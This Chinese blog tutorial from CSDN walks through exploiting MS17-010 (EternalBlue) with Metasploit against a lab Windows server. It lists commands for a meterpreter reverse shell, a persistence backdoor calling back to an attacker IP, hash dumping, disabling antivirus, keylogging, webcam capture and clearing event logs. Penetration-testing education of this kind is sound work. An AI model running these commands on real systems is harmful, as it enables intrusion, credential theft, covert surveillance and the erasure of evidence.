目录
Metasploit
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
MSF的更新:apt update
apt install metasploit-framework
使用方法
- 进入框架:msfconsole
- 使用search命令查找相关漏洞: search ms17-010
- 使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
- 使用info查看模块信息: info
- 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- 查看模块需要配置的参数:show options
- 设置参数:set RHOST 192.168.125.138
- 攻击:exploit / run
- 后渗透阶段
不同的攻击用到的步骤也不一样,接下来我们用永恒之蓝ms17-010来熟悉一下MSF工具的使用
ms17-010漏洞复现
描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
影响版本
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0
复现环境
攻击机: kali
靶机:win server 2008 r2 (192.168.1.8)
复现过程
1. 主机发现
nmap进行ip端口扫描
扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞
2. 进入MSF框架
msfconsole
search ms17-010
这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞
exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
3. 使用ms17-010扫描模块,对靶机进行扫描
使用模块
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
msf> use auxiliary/scanner/smb/smb_ms17_010
查看模块需要配置的参数
show options
右边Required为yes的选项说明左边 Current Setting 这个项对应的需要填写,比如Rhoststs
设置攻击目标
RHOSTS 参数是要探测主机的ip或ip范围(比如 192.168.125.125-129.168.125.140 或者 192.168.1.0、24)
set rhosts 192.168.1.8
再次查看配置参数
show options
执行扫描
run
显示主机很可能能够会受到永恒之蓝漏洞的攻击
4. 使用ms17-010攻击模块,对靶机进行攻击
use exploit/windows/smb/ms17_010_eternalblue
查看这个漏洞的信息
info
查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统
show targets
这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
查看攻击载荷
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令
show payloads
该命令可以查看当前漏洞利用模块下可用的所有Payload
设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
查看配置参数
show options
设置目标攻击ip
set rhosts 192.168.1.8
设置用于接收从目标机弹回来的shell
set LHOST 192.168.1.11
执行攻击
exploit
后渗透阶段
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
要想从 meterpreter 退出到MSF框架,输入:background
输入 sessions -l 查看我们获得的shell
输入 sessions -i 1 即可切换到id为1的shell
Post后渗透模块
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
查看目标主机是否运行在虚拟机上
关闭杀毒软件
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
run killav
访问文件系统
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似,这里就不演示了)
下载/上传文件
download file 从目标主机下载文件
upload file 上传文件到目标主机
这里下载的文件的路径默认在根目录 / 下
权限提升
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权
getuid 获取当前用户的信息
可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限
获取用户密码
执行 :run hashdump
hashdump 模块可以从SAM数据库中导出本地用户账号, 该命令的使用需要系统权限
从上图可知,导出了三个用户名及密码,输出格式为,用户名:SID:LM哈希:NTLM哈希:::
我们来破解用户名为chenchen的用户密码,可以复制 NTLM哈希去在线网站如 www.cmd5.com 破解
未完。。。
Refer to the article:
来源:CSDN
作者:小谢.
链接:https://blog.csdn.net/qq_44159028/article/details/104044002